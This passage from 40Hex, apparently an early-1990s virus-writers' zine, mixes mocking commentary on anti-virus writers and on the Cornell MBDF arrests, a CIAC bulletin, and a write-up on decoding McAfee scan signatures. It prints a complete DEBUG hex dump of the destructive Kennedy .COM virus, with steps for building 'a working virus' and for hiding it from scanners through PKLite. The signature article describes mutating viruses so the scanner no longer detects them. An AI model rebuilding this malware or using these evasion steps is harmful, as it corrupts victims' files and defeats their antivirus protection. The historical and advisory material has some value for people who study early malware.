  618.         The  ads  would  say  something  like: "A  $50,000  reward  for  any 
  619.  information leading to the arrest and conviction of virus authors."
  620.  [How can you convict a virus author. It isn't illegal.  Go play Tank Wars.]
  621.         The  next question  would be  what to  do with the virus makers once
  622.  they  have been  caught. And  that's  the  key  to putting  an  end to  the
  623.  problem:  something  that could  be  posted  on  those electronic  bulletin
  624.  boards  that  might cause  an aspiring  virus-maker to go take a brisk walk
  625.  instead.
  626.          A judge  would sit  and listen  to an  attorney who would say some-
  627.  thing like this:
  628.          "Your  honor,  what we  have here  is an  otherwise  fine young man
  629.  from  a good  family. His  father is  a brilliant scholar, and the son will
  630.  someday be the same."[I am going to be a certified scholar when I grow up.]
  631.          "What  he did  was no  more than  an intellectual prank, a cerebral
  632.  challenge of  sorts. Like  the man who climbed Mount Everest because it was
  633.  there, he created the virus and sent it fourth because it was there."
  634.          Then, we can hope, the judge might say something like this:
  635.          "Yes,  I am  impressed  by  the  defendant's  brain  power.  And  I
  636.  expected you to ask me to give him a slap on the wrist."
  637.          "However,  he  is  not  a child.  He is an adult. And I would think
  638.  that  so  brilliant a  grown  man would  know better  than to amuse himself
  639.  by screwing with the lives of strangers."  [I haven't screwed one stranger]
  640.          "It's  as if  he hid  inside  the businesses and institutions until
  641.  they  were closed  and  everyone had  gone home. Then  he came out and went
  642.  through  every  filing cabinet  and drawer and shredded or burned every bit
  643.  of useful information he could find."[Cool! Lets try it.]
  644.          "Now,  counselor, what  would you and your law partners say is some
  645.  street mope [See Thesaurus] did that  to your firm - crept in and destroyed
  646.  every document in your offices? Including the names of clients that owe you
  647.  money. Hah, you would be in here asking me to hang him from a tree."[I love
  648.  hanging from trees]
  649.          "So  don't  give  me that  smart  kid  from  a good family routine.
  650.  [I ain't smart, and family ain't good] He is a self-centered,  insensitive,
  651.  uncaring,  arrogant goofball  [And  damn proud].  He didn't  give a  second
  652.  thought to the  chaos or  heartbreak he would  cause an adoption  agency, a
  653.  hardworking businessman or a medical clinic." [Yes I did.  I aim for them.]
  654.          "Therefore,  I sentence him  to the maximum sentence the law allows
  655.  in the local jailhouse [0, NUL, ZIP-o, /dev/null, etc..], which is a really
  656.  terrible place, filled with all sorts of crude, insensitive hulks."
  657.  [Jay-walkers]
  658.          "Bailiff,  please get the defendent up off the floor and administer 
  659.  some smelling salts."[More like, why is the defendant laughing?]
  660.          "And change his trousers, quickly."[Fuck you]
  661.  
  662.                                     []comments added by Demogorgon and GHeap
  663.  
  664.  ============================================================================
  665.  
  666.  
  667.                 I hope you enjoyed that one as much as I did! Okay, I
  668.         see some really neat things with this man's article. First off,
  669.         I'm sure he's an adept programmer... that is, he can probably
  670.         figure out how to get his VCR to tape something while he is
  671.         off writing his brilliant articles. I enjoy his narrow-minded
  672.         definition of virii (that was mentioned in 40Hex 5), of course,
  673.         all virii are those evil overwriting, trigger date, resident,
  674.         boot track infecting swine (yeah, he probably learned what a
  675.         virus was from watching ABC News covering the Michaelangelo
  676.         crisis!)
  677.                 I also enjoy his opinion that all virus authors are
  678.         nerds.  First off, what the hell is a nerd?  I mean, I have
  679.         written a virus before (not saying it was any good), but, I
  680.         don't feel like a nerd!  In fact, I feel quite superior to
  681.         most of the idiots like this guy.  And, I like his great
  682.         statement about my loyalty.  Yes, I'm gonna narc on [PHALCON/
  683.         [Forget this again, and die]]SKISM for $50,000!!! Yeah, right.
  684.         There are a lot of narcs on this not-so good earth, so choose
  685.         your friends wisely.
  686.                 I'm quite sure that ads on BBS's (electronic bulletin
  687.         boards! No... cork ones!) would just sufficiently pump up user
  688.         discussion of virii.  I'm not scared of fed intervention, and
  689.         I doubt any authors I know are either.
  690.                 This was touched on in 40Hex 5, virus authors are not
  691.         responsible for the spread of their virii unless they are
  692.         actively spreading them!  I mean, it's not my fault that K-Rad
  693.         Man sent my Hard Drive Blender (slices, dices, minces sectors)
  694.         to 1000 Bible boards in Utah. Apparently it hasn't dawned on
  695.         this guy that most virii are not written to be destructive.
  696.         Actually, that's a lie.  There are a lot of virii out there that
  697.         are descructive, but that is changing.  People like the
  698.         PHALCON/SKISM crew realize that not everything must be
  699.         destructive, opening the doors to much larger virus projects
  700.         (ie Bobisms)
  701.                 One more thing... QUIT EQUATING THE WORD 'hacker' TO
  702.         EVERY DAMN TYPE OF ELECTRONIC 'crime!!!'
  703.  
  704.  
  705.                 I'm gonna get this dude's phone #, I say we call him
  706.         sometime...
  707.  
  708.  
  709.                         -The Attitude Adjuster-
  710. 40Hex Number 6 Volume 2 Issue 2                                      File 007
  711.            
  712.            
  713.      Lets see what good ole' Patty has to say about this:
  714.  
  715.  
  716.  Virus Name:  Kennedy
  717.  Aliases:     Dead Kennedy, 333, Kennedy-333
  718.  Scan ID:     [Kennedy]
  719.  V Status:    Endangered
  720.  Discovered:  April, 1990
  721.  Symptoms:    .COM growth; message on trigger dates (see text);
  722.               crosslinking of files; lost clusters; FAT corruption
  723.  Origin:      Denmark
  724.  Eff Length:  333 Bytes
  725.  Type Code:   PNCKF - Parasitic Non-Resident .COM Infector
  726.  Detection Method:  ViruScan, Pro-Scan, VirexPC, F-Prot, VirHunt 2.0+,
  727.                     NAV, IBM Scan 2.00+, AVTK 4.32+, VIRx 1.6+, CPAV 1.0+,
  728.                     Novi 1.0.1+, Sweep 2.3.1+, UTScan
  729.  Removal Instructions:  F-Prot, VirHunt 2.0+, or delete infected files
  730.  General Comments:
  731.        The Kennedy virus was isolated in April 1990.  It is a generic
  732.        infector of .COM files, including COMMAND.COM.
  733.  
  734.        This virus has three activation dates: June 6 (assassination of
  735.        Robert Kennedy 1968), November 18 (death of Joseph Kennedy 1969),
  736.        and November 22 (assassination of John F. Kennedy 1963) of any year.
  737.        On activation, the virus will display a message the following
  738.        message:
  739.  
  740.                "Kennedy is dead - long live 'The Dead Kennedys'"
  741.  
  742.        The following text strings can be found in the viral code:
  743.  
  744.                "\command.com"
  745.                "The Dead Kennedys"
  746.  
  747.        Systems infected with the Kennedy virus will experience
  748.        cross-linking of files, lost clusters, and file allocation table
  749.        errors (including messages that the file allocation table is bad).
  750.  
  751.  
  752. --------------------------------Cut Here------------------------------------
  753.  
  754. n kennedy.com
  755. e 0100  E9 0C 00 90 90 90 CD 20 4B 65 6E 6E 65 64 79 E8
  756. e 0110  00 00 5E 81 EE 0F 01 8B AC 0B 02 B4 2A CD 21 81
  757. e 0120  FA 06 06 74 28 81 FA 12 0B 74 22 81 FA 16 0B 74
  758. e 0130  1C 8D 94 0D 02 33 C9 B4 4E CD 21 72 09 E8 17 00
  759. e 0140  72 04 B4 4F EB F3 8B C5 05 03 01 FF E0 8D 94 20
  760. e 0150  02 B4 09 CD 21 EB EF B8 00 43 BA 9E 00 CD 21 89
  761. e 0160  8C 55 02 B8 01 43 33 C9 CD 21 B8 02 3D CD 21 8B
  762. e 0170  D8 B4 3F 8D 94 52 02 8B FA B9 03 00 CD 21 80 3D
  763. e 0180  E9 74 05 E8 7E 00 F8 C3 8B 55 01 89 94 0B 02 33
  764. e 0190  C9 B8 00 42 CD 21 8B D7 B9 02 00 B4 3F CD 21 81
  765. e 01A0  3D 65 64 74 DE 33 D2 33 C9 B8 02 42 CD 21 83 FA
  766. e 01B0  00 75 D0 3D E8 FD 73 CB 05 04 00 89 84 5B 02 B8
  767. e 01C0  00 57 CD 21 89 8C 57 02 89 94 59 02 B4 40 8D 94
  768. e 01D0  05 01 B9 4D 01 CD 21 72 15 B8 00 42 33 C9 BA 01
  769. e 01E0  00 CD 21 B4 40 8D 94 5B 02 B9 02 00 CD 21 8B 8C
  770. e 01F0  57 02 8B 94 59 02 B8 01 57 CD 21 B4 3E CD 21 E8
  771. e 0200  02 00 F9 C3 B8 01 43 8B 8C 55 02 CD 21 C3 03 00
  772. e 0210  2A 2E 43 4F 4D 00 5C 43 4F 4D 4D 41 4E 44 2E 43
  773. e 0220  4F 4D 00 4B 65 6E 6E 65 64 79 20 65 72 20 64 9B
  774. e 0230  64 20 2D 20 6C 91 6E 67 65 20 6C 65 76 65 20 22
  775. e 0240  54 68 65 20 44 65 61 64 20 4B 65 6E 6E 65 64 79
  776. e 0250  73 22 0D 0A 24 00 00 00 00 00 00 00 00 00 00 00
  777. e 0260  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  778. e 0270  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  779. rcx
  780. 027F
  781. w
  782. q
  783.  
  784. ---------------------------------Cut Here-----------------------------------
  785.  
  786.  
  787.   Ok there it is.  Not the most impressive virus around and its caught by just
  788. about every scan on the market, but take PKLite to it and then remove the PKLite
  789. header (Use NOLITE in this issue) and no one will be able to find it.  Anyway it
  790. gets the job done.
  791.  
  792. To make the above hex into a working file, first cut on the dotted lines.  
  793. Name the resulting file KENNEDY.TXT.
  794. Then: DEBUG < KENNEDY.TXT  and you'll have a working virus.
  795.  
  796.  
  797.                     -Instigator
  798. 40Hex Number 6 Volume 2 Issue 2                                       File 008
  799.  
  800. Take a look at this.  I picked it up on fidonet, originally from Virus-L
  801. digest.  all the stuff in *< >*'s are my comments.
  802.                 - Demogorgon
  803.  
  804. ------------------------------
  805. VIRUS-L Digest   Wednesday, 26 Feb 1992    Volume 5 : Issue 44
  806. ------------------------------
  807.  
  808. Date:    Tue, 25 Feb 92 10:10:14 -0500
  809. >From:    mha@baka.ithaca.ny.us (Mark Anbinder)
  810. Subject: MBDF Suspects Arrested (Mac)
  811.  
  812. The Cornell Daily Sun reported in this morning's issue that two
  813. Cornell University sophomores, David Blumenthal and Mark Pilgrim, were
  814. arrested Monday evening and arraigned in Ithaca City Court on one
  815. count each of second degree computer tampering, in connection with the
  816. release of the MBDF virus that infected Macs worldwide over the last
  817. several days.  The two are being held in Tompkins County Jail.
  818. *< huh?  How does one get arrested for spreading a virus, you ask? read on >*
  819. Further charges are pending.
  820.  
  821. ---
  822. ** many lines of mail routing crap have been deleted **
  823.  
  824. Date: Tue, 25 Feb 1992 11:47:32 PST
  825. >From: lipa@camis.stanford.edu (Bill Lipa)
  826. Subject: Alleged MBDF virus-creators arrested at Cornell
  827.  
  828. "Computer Virus Traced to Cornell Students"
  829.  
  830. by Jeff Carmona
  831.  
  832. [The Cornell Daily Sun, 25 February 1992]
  833.  
  834.   Two Cornell students were arrested yesterday for allegedly creating and
  835. launching *< launching ? Bon voyage, we launched you !>* a computer virus that
  836. crippled computers around the world, according to M. Stuart Lynn, the
  837. University's vice president for information technologies.
  838.   David Blumenthal '94 and Mark Pilgrim '94 were arrested by Department of
  839. Public Safety officers and arraigned in Ithaca City Court on one count of
  840. second-degree computer tampering, a misdemeanor, *< cool, its only a
  841. misdemeanor, how bad could it be ? >* Lynn said.
  842.   Both students were remanded to the Tompkins County Jail and remained in
  843. custody early this morning. They are being held on $2,000 cash or $10,000
  844. bail bond, officials said.
  845.   Cornell received national attention in Nov. 1988 when Robert T. Morris
  846. Jr., a former graduate student, was accused of unleashing a computer virus
  847. into thousands of government and university computers.
  848.   Morris, convicted under the 1986 Computer Fraud and Abuse Act, was fined
  849. $10,000, given a three-year probation and ordered to do 400 hours of community
  850. service by a federal judge in Syracuse, according to Linda Grace-Kobas,
  851. *< Whats a Koba?? >* director of the Cornell News Service.
  852.   Lynn would not compare the severity of the current case with Morris',
  853. saying that "each case is different."
  854.   Lynn said the virus, called "MBDFA" was put into three Macintosh games --
  855. Obnoxious Tetris, Tetriscycle and Ten Tile Puzzle.
  856.   On Feb. 14, the games were launched from Cornell to a public archive at
  857. Stanford University in Palo Alto, Calif, Lynn said.
  858. *< I guess these guys actually put it up on the archive under their own      >*
  859. *< accounts! Don't they know they can trace that stuff? duhhh...             >*
  860. From there, the virus spread to computers in Osaka, Japan and elsewhere around
  861. the world *< the archive was a dumb idea if thats how they got caught, but it
  862. spread like hell >* when users connected to computer networks via modems, he
  863. added. It is not known how many computers the virus has affected worldwide, he
  864. explained.
  865.   When computer users downloaded the infected games, the virus caused "a
  866. modification of system software," *< oooh...lets not get too technical >* Lynn
  867. said. "This resulted in unusual behavior and system crashes," he added.
  868.   Lynn said he was not aware of anyone at Cornell who reported finding the
  869. virus on their computers.
  870.   The virus was traced to Cornell last Friday, authorities were quickly
  871. notified and an investigation began, Lynn said.
  872.   "We absolutely deplore this kind of bahavior," Lynn said. "We will pursue
  873. this matter to the fullest."
  874.   Armed with search warrants, Public Safety investigators removed more than
  875. a dozen crates full of evidence from the students' residences in Baker and
  876. Founders halls on West Campus. *< sounds like a typical, over-kill bust to
  877. me.  If you don't know what it is, take it. >*
  878. Public Safety officials refused to disclose the contents of the crates or
  879. issue any comment about the incident when contacted repeatedly by phone last
  880. night.  *< thats because they don't know what the fuck the stuff is >*
  881.   "We believe this was dealt with very quickly and professionally," Lynn
  882. said.
  883.   The suspects are scheduled to appear in Ithaca City Court at 1 p.m. today
  884. and additional charges are pending, according to Grace-Kobas.
  885.   Because spreading a computer virus violates federal laws, "conceivably,
  886. the FBI could be involved," she added. Officials with the FBI could not be
  887. reached to confirm or deny this.
  888.   Blumenthal and Pilgrim, both 19-year-olds, were current student employees
  889. at Cornell Information Technologies (CIT), Lynn said. He would not say
  890. whether the students launched the virus from their residence hall rooms or
  891. From a CIT office.
  892.   Henrik N. Dullea '61, vice president for University relations, said he
  893. thinks "the act will immediately be associated with the University," not
  894. only with the individual students charged.
  895.   Because a major virus originated from a Cornell student in the past, this
  896. latest incident may again "bring a negative reaction to the entire
  897. institution," Dullea said. *< "blah, blah, blah" >*
  898.   "These are very selfish acts," Lynn said, referring to the intentional
  899. distribution of computer viruses, because innocent people are harmed.
  900.   Lynn said he was unaware of the students' motive for initiating the virus.
  901. Lynn said CIT put out a notice yesterday to inform computer users about the
  902. "very virulent" virus. A virus-protection program, such as the new version of
  903. Disinfectant, can usually cure computers, but it may be necessary to "rebuild
  904. the hard drive" *< egad! Not the dreaded "virus-that-makes-you-rebuild-your-
  905. hard-drive" !>* in some cases, he added.
  906.   A former roommate of Blumenthal said he was not surprised by news of the
  907. arrest. Computers were "more than a hobby" for Blumenthal, said Glen Fuller
  908. '95, his roommate from last semester. "He was in front of the computer all
  909. day," Fuller said.
  910.   Blumenthal, who had a modem, would "play around with viruses because they
  911. were a challenge to him," Fuller said. He said that, to his knowledge,
  912. Blumenthal had never released a virus before.
  913.  
  914. -->-<------ Cut Here --------------------------
  915.  
  916. ------------------------------
  917. VIRUS-L Digest   Friday, 28 Feb 1992    Volume 5 : Issue 46
  918. ------------------------------
  919.  
  920. Date:    Wed, 26 Feb 92 11:08:45 -0800
  921. >From:    karyn@cheetah.llnl.gov (Karyn Pichnarczyk)
  922. Subject: CIAC Bulletin C-17: MBDF A on Macintosh (Mac)
  923.  
  924.                            NO RESTRICTIONS
  925.         _____________________________________________________
  926.              The Computer Incident Advisory Capability
  927.                          ___  __ __    _     ___
  928.                         /       |     / \   /
  929.                         \___  __|__  /___\  \___
  930.         _____________________________________________________
  931.                            INFORMATION BULLETIN
  932.  
  933.                New Virus on Macintosh Computers: MBDF A
  934.  
  935. February 25, 1992, 1130 PST                                 Number C-17
  936.  
  937. ________________________________________________________________________
  938. NAME:     MBDF A virus
  939. PLATFORM: Macintosh computers-except MacPlus and SE (see below)
  940. DAMAGE:   May cause program crashes
  941. SYMPTOMS: Claris applications indicate they have been altered; some
  942.           shareware may not work, unexplained system crashes
  943. DETECTION &
  944. ERADICATION: Disinfectant 2.6,Gatekeeper 1.2.4, Virex 3.6,
  945.              VirusDetective 5.0.2, Rival 1.1.10, SAM 3.0
  946. ________________________________________________________________________
  947.                      Critical Facts about MBDF A
  948.  
  949. A new Macintosh virus, MBDF A, (named for the resource it exploits)
  950. has been discovered.  This virus does not appear to maliciously cause
  951. damage, but simply copies itself from one application to another.
  952. MBDF A was discovered at two archive sites in newly posted game
  953. applications, and has a high potential to be very widespread.
  954.  
  955. Infection Mechanism
  956.  
  957. This virus is an "implied loader" virus, and it works in a similar
  958. manner to other implied loader viruses such as CDEF and MDEF.  Once
  959. the virus is active, clean appliacation programs will become infected
  960. as soon as they are executed.  MBDF A infects only applications, and
  961. does not affect data files.  This virus replicates under both System 6
  962. and System 7.  While MBDF A may be present on ALL types of Macintosh
  963. systems, it will not spread if the infected system is a MacPlus or a
  964. Mac SE (although it does spread on an SE/30).
  965.  
  966. Potential Damage
  967.  
  968. The MBDF A virus has no malicious damaging characteristics, however,
  969. it may cause programs to inexplicably crash when an item is selected
  970. from the menu bar.  Some programs, such as the shareware
  971. "BeHierarchic" program, have been reported to not operate correctly
  972. when infected.  Applications written with self-checking code, such as
  973. those written by the Claris corporation, will inform the user that
  974. they have been altered.
  975.  
  976. When MBDF A infects the system file, it must re-write the entire
  977. system file back to disk; this process may take two or three minutes.
  978. If the user assumes the system has hung, and reboots the Macintosh
  979. while this is occuring, the entire system file will be corrupted and
  980. an entire reload of system software must then be performed.
  981.  
  982. This virus can be safely eradicated from most infected programs,
  983. although CIAC recommends that you restore all infected files from an
  984. uninfected backup.
  985.  
  986. Detection and Eradication
  987.  
  988. Because MBDF A has been recently discovered, only anti-viral packages
  989. updated since February 20, 1992 will locate and eradicate this virus.
  990. All the major Macintosh anti-viral product vendors are aware of this
  991. virus and have scheduled updates for their products.  These updates
  992. have all been available since February 24, 1992.  The updated versions
  993. of some products are Disinfectant 2.6, Gatekeeper 1.2.4, Virex 3.6,
  994. SAM 3.0, VirusDetective 5.0.2, and Rival 1.1.10.  Some Macintosh
  995. applications (such as the Claris software mentioned above) may contain
  996. self-verification procedures to ensure the program is valid before
  997. each execution; these programs will note unexpected alterations to
  998. their code and will inform the user.
  999.  
  1000. MBDF A has been positively identified as present in two shareware
  1001. games distributed by reliable archive sites: "Obnoxious Tetris" and
  1002. "Ten Tile Puzzle".  The program "Tetricycle" (sometimes named
  1003. "Tetris-rotating") is a Trojan Horse program which installs the virus.
  1004. If you have downloaded these or any other software since February 14,
  1005. 1992 (the day these programs were loaded to the archive sites), CIAC
  1006. recommends that you acquire an updated version of an anti-viral
  1007. product and scan your system for the existence of MBDF A.
  1008.  
  1009. For additional information or assistance, please contact CIAC:
  1010.  
  1011.         Karyn Pichnarczyk
  1012.         (510) 422-1779 or (FTS) 532-1779
  1013.         karyn@cheetah.llnl.gov
  1014.  
  1015. Call CIAC at (510)422-8193/(FTS)532-8193.
  1016. Send e-mail to ciac@llnl.gov
  1017.  
  1018. PLEASE NOTE: Many users outside of the DOE and ESnet computing
  1019. communities receive CIAC bulletins.  If you are not part of these
  1020. communities, please contact your agency's response team to report
  1021. incidents.  Some of the other teams include the NASA NSI response
  1022. team, DARPA's CERT/CC, NAVCIRT, and the Air Force response team.  Your
  1023. agency's team will coordinate with CIAC.
  1024.  
  1025. CIAC would like to thank Gene Spafford and John Norstad, who provided
  1026. some of the information used in this bulletin.  This document was
  1027. prepared as an account of work sponsored by an agency of the United
  1028. States Government.  Neither the United States Government nor the
  1029. University of California nor any of their employees, makes any
  1030. warranty, express or implied, or assumes any legal liability or
  1031. responsibility for the accuracy, completeness, or usefulness of any
  1032. information, apparatus, product, or process disclosed, or represents
  1033. that its use would not infringe privately owned rights.  Reference
  1034. herein to any specific commercial products, process, or service by
  1035. trade name, trademark, manufacturer, or otherwise, does not
  1036. necessarily constitute or imply its endorsement, recommendation or
  1037. favoring by the United States Government or the University of
  1038. California.  The views and opinions of authors expressed herein do not
  1039. necessarily state or reflect those of the United States Government or
  1040. the University of California, and shall not be used for advertising or
  1041. product endorsement purposes.
  1042.  
  1043. -->-<----- Cut Here -------------------------
  1044.  
  1045. ---
  1046.  
  1047. ------------------------------
  1048. VIRUS-L Digest   Friday, 28 Feb 1992    Volume 5 : Issue 46
  1049. ------------------------------
  1050.  
  1051. Date:    Wed, 26 Feb 92 15:32:02 -0500
  1052. >From:    mha@baka.ithaca.ny.us (Mark Anbinder)
  1053. Subject: Cornell MBDF Press Release (Mac)
  1054.  
  1055. _____________________________________________________
  1056. PRESS RELEASE ISSUED BY CORNELL NEWS SERVICE 2/25/91
  1057.  
  1058. Students charged
  1059. with releasing
  1060. computer virus
  1061.  
  1062. By Linda Grace-Kobas
  1063.  
  1064. Following a university investigation that tracked a computer virus and
  1065. its originators, two Cornell students were arrested and charged with
  1066. computer tampering for allegedly launching a computer virus embedded in
  1067. three games into national computer archives.  Arraigned Feb. 24 in
  1068. Ithaca City Court were David S. Blumenthal, 19, a sophomore in the
  1069. College of Engineering, and Mark Andrew Pilgrim, 19, a sophomore in the
  1070. College of Arts and Sciences.  They were charged with computer tampering
  1071. in the second degree, a Class A misdemeanor.  The pair is being held in
  1072. Tompkins County Jail with bail set at $2,000 cash bond or $10,000
  1073. property bond.  At a hearing Tuesday afternoon, Judge Sherman returned
  1074. the two to jail with the same bond and recommended that they remain in
  1075. jail until at least Friday pending the federal investigation.  A
  1076. preliminary hearing is set for April 10.
  1077.  
  1078. Both students were employed by Cornell Information Technologies, which
  1079. runs the university's computer facilities.  Pilgrim worked as a student
  1080. operator in an Apple Macintosh facility from which the virus is believed
  1081. to have been launched.  The university's Department of Public Safety is
  1082. working with the Tompkins County district attorney's office, and
  1083. additional charges are expected to be filed.  The Federal Bureau of
  1084. Investigation has contacted the university to look at possible violations
  1085. of federal laws, officials said.  The Ithaca Police Department is also
  1086. assisting in the investigation.
  1087.  
  1088. "We absolutely abhor this type of behavior, which appears to violate the
  1089. university's computer abuse policy as well as applicable state and
  1090. federal law," commented M. Stuart Lynn, vice president for information
  1091. technologies, who headed the investigation to track the originators of
  1092. the virus.  "Cornell will pursue all applicable remedies under our own
  1093. policies and will cooperate with law enforcement authorities."
  1094.  
  1095. Lynn said Cornell was alerted Feb. 21 that a Macintosh computer virus
  1096. embedded in versions of three computer games, Obnoxious Tetris,
  1097. Tetricycle and Ten Tile Puzzle, had possibly been launched through a
  1098. Cornell computer.  A virus is normally embedded in a program and only
  1099. propagates to other programs on the host system, he explained.
  1100. Typically, when an infected application is run, the virus will attack the
  1101. system software and then other applications will become infected as they
  1102. are run.
  1103.  
  1104. The virus, MBDF-A, had been deposited on Feb. 14 directly and indirectly
  1105. into several computer archives in the U.S. and abroad, including
  1106. SUMEX-AIM at Stanford University and archives at the University of Texas,
  1107. the University of Michigan and another in Osaka, Japan.  These archives
  1108. store thousands of computer programs available to users of Internet, the
  1109. worldwide computer network.
  1110.  
  1111. Macintosh users who downloaded the games to their computers were subject
  1112. to a variety of problems, notably the modification of system software and
  1113. application programs, resulting in unusual behavior and possible system
  1114. crashes.  Apparently, there was no intent to destroy data, Lynn said, but
  1115. data could be destroyed in system crashes.
  1116.  
  1117. Reports of the virus have been received from across the United States and
  1118. around the world, including Wales, Britain, Lynn said, adding that he has
  1119. no estimate for the number of individuals who might have obtained the
  1120. games.
  1121.  
  1122. As soon as the virus was identified, individuals and groups across the
  1123. country involved with tracking viruses sent messages across computer
  1124. networks to alert users who might have been affected by the virus, Lynn
  1125. added.  The virus has since been removed from all archives and
  1126. "disinfectant" software available to the Internet community has been
  1127. modified so that individual Macintosh users can purge their computers of
  1128. it.
  1129.  
  1130. "Our sense is that the virus was controlled very rapidly," he said.  In
  1131. 1988, Cornell received national attention when graduate student Robert T.
  1132. Morris Jr. launched a computer virus into important government and
  1133. university research networks.  That virus, actually considered a "worm"
  1134. since it was self-perpetuating, caused major damage in high-level
  1135. systems.  Morris was convicted under the 1986 Computer Fraud and Abuse
  1136. Act and fined $10,000, given three years probation and ordered to do 400
  1137. hours of community service by a federal judge in Syracuse, N.Y.
  1138.  
  1139. The new virus differs greatly from the Morris worm, Lynn said.  "This
  1140. virus is not to be compared with the Morris worm, which independently
  1141. moved from machine to machine across the network," he explained.  All
  1142. Macintosh users should take appropriate measures to be certain their
  1143. systems are not infected with the virus.
  1144.  
  1145. News Service science writer William Holder also contributed to
  1146. this report.
  1147.  
  1148. ---
  1149. Mark H. Anbinder                      607-257-2070 - FAX 607-257-2657
  1150. BAKA Computers, Inc.                  QuickMail QM-QM 607-257-2614
  1151. 200 Pleasant Grove Road               mha@baka.ithaca.ny.us
  1152. Ithaca, NY 14850
  1153.  
  1154. -->-<----- Cut Here -------------------------
  1155. 40Hex Number 6 Volume 2 Issue 2                                       File 009
  1156.  
  1157.                -=[ The 'McAfee scan' viral footprint codes ]=-
  1158.  
  1159.                                       -or-
  1160.  
  1161.                 /*******************************************/
  1162.                 /* A fool and his scanner, can part a user */
  1163.                 /*       from his hard earned money.       */
  1164.                 /*******************************************/
  1165.  
  1166.                                 - written by -
  1167.                                  GodNet Raider
  1168.                                     - of -
  1169.                              The CyberUnderground
  1170.  
  1171.  
  1172.                          Thrown into 40Hex by DecimatoR
  1173.                             from Usenet alt.security 
  1174.  
  1175.  -=[ "Information is the greatest weapon of power to the modern wizard." ]=-
  1176.  
  1177. ]----------------------------------------------------------------------------[
  1178.  
  1179. Introduction:
  1180. -------------
  1181.  
  1182.     Recently I began to wonder about the usefulness of 'virus scanners'
  1183. and what if any difference do they have with a simple text/hex search
  1184. program (like nortons filefind/ts). An if there was no real DIFFERENCE,
  1185. how secure is the system that used them.
  1186.  
  1187. Problems with scanning:
  1188. -----------------------
  1189.  
  1190.     The first question I had to ask was, What does a 'virus scanner' actually
  1191. look for? Does it only look for one string of codes or several at different
  1192. places in the file?
  1193.  
  1194.     To answer this question I called a local BBS an dl'ed McAfee's
  1195. scan3.7v64 (to evaluate and after my tests, it was erased for its lack of
  1196. offering any real protection). Then I went to my archives to retrieve some
  1197. viruses I have experimented with in the past (of which where Jerusalem B and
  1198. Dark Avenger).
  1199.  
  1200.     I ran scan to verify that the virus files where viruses (3 of which did
  1201. not set off any alarm even tho there was a listing in the documentation for
  1202. them, so I removed them from the test). Then using a sector editor looked at
  1203. the source for the McAfee asso. scan3.7v64 (here after know just as scan64)
  1204. to find that the footprint information was encoded. Needless to say this did
  1205. not stop me (for the sake of those who are into the tech aspects of things,
  1206. the actual method used to get the codes are included at the end of the
  1207. article with the codes found), It took less than an hour to get the codes I
  1208. was looking for (without disassembling the code but by looking into the
  1209. memory allocated to the program).
  1210.  
  1211.     What I found out was scan was just a simple hex searcher (that kept
  1212. its data locked up till needed). It could also be fooled by any program
  1213. that contained the same hex string as a real virus (this was proved when
  1214. , using a sector editor, I added the scan64 footprint for the Jerusalem B
  1215. into the top of a text file (a place this code would never show up in a real
  1216. infection) then renamed it to *.com; scan64 reported it as infected).
  1217.  
  1218.     Once the codes where obtained, using debug directly on a virus file,
  1219. I was able to mutate the virus to no longer be detectable by scan64 without
  1220. destroying the integrity of it. For the virus was still able to infect files,
  1221. and scan64 could no longer track it. I was still able to track and control it
  1222. using norton's filefind, diskmon, diskedit, and (of course) DOS erase.
  1223.  
  1224.     So it seems my question was answered. Some 'virus scanners' just scan
  1225. for a single string of hex character. This is fine if viruses NEVER changed
  1226. or programs would NEVER use code similar to what a virus would (the smaller
  1227. the footprint string the bigger the chance of mistaken alarms). For if
  1228. a 'virus scanner' programer just keeps making a new release each time there
  1229. is a new virus (an I will not get into the morality of charging customers
  1230. the full price of an software upgrade rather than allowing them to buy/dl
  1231. new footprint data files as they become available) for the program will
  1232. eventually grow to unwealdable sizes. An it should be noted there are other
  1233. programs that may do the same job faster, more upward compatibility, and
  1234. you may already have them on hand.
  1235.  
  1236. a possible solution:
  1237. --------------------
  1238.  
  1239.     One thing that I think is a good idea is when a program allows users
  1240. to add new footprint data to it (like nortons' virus package). For now
  1241. users don't need to buy new releases for detection of viruses they may not
  1242. get/be able to detect. Instead for the cost of a call to a support bbs (part
  1243. of the original software agreement?) the user can get new data as it becomes
  1244. available or when they fine a new one on their system they can immediately
  1245. add the new footprint rather than wait for the next version to be released.
  1246.  
  1247. Method used to obtain footprints:
  1248. ---------------------------------
  1249.  
  1250.     After finding the data I was looking for was encoded I thought, How can
  1251. I get the data I wanted for my tests?
  1252.  
  1253.     Disassembling was out, not for any MORAL reason but, for the time
  1254. involved. So I thought it must have to decode the data for it's own use
  1255. and to save time it would do it all before the scan rather than slow the
  1256. process down by doing a full decode. So I needed to look at the memory
  1257. image of the running program. Thanks to DOS 5.0 and dosshell I was able to
  1258. do this.
  1259.  
  1260.     After spawning the scan task under the dos shell I used alt-tab to
  1261. swap back to the shell. Once back in the shell I used the shell commands to
  1262. copy the tmpxxx.swp to foo.img and terminating scan64 and dosshell.
  1263.  
  1264.     Then using a sector editor I searched though the temp file created by
  1265. the dos shell. I found an area of data that contained the virus names and
  1266. non ascii text data separating them. Even though the strings of ascii data
  1267. (virus names) ended with a zero character (as variable strings have a
  1268. tendency to), the random data did not end with a common signal character (as
  1269. expected for code can be any character). There was also no character count
  1270. stored (the data length varied so it could not be assumed by the scan
  1271. program as well). So I continued to search though the data.
  1272.  
  1273.     I eventually found another area that had the same text strings (virus
  1274. names). This time the first character of the none ascii data gave the count
  1275. of the data size to the following text string. I knew I had found it so I
  1276. extracted this data to another file (starting at 0 offset in the new file).
  1277. Then wrote down the some codes and checked them against viruses I had.
  1278.  
  1279.     The codes I had did not seem match. This did not stop me. I took one
  1280. virus (that my understanding said scan was only looking for 6 consecutive
  1281. bytes to match) and started zapping bytes (in a file scan said was infected)
  1282. to find what it was looking for. The processes involved zapping one sector
  1283. at a time till scan said it was not infected, then half of that sector, then
  1284. half of a half, and so on. It came down to 6 CONSECUTIVE bytes as I expected.
  1285. But they where DIFFERENT from the ones I had.
  1286.  
  1287.     So I went to the windows calculator (it allows byte arithmetic in hex,
  1288. ie.. 0xff + 0x04 = 0x03 (rollover, carry is ignored), it would be outside
  1289. the scope of this ARTICLE to explain why I thought byte arithmetic was
  1290. important). Some quick subtraction found a 0x93 (decimal 147) DIFFERENCE
  1291. between the actual codes and the ones from the allocated memory uses by
  1292. scan.
  1293.  
  1294.     So taking another virus that scan said was infected I did the minor
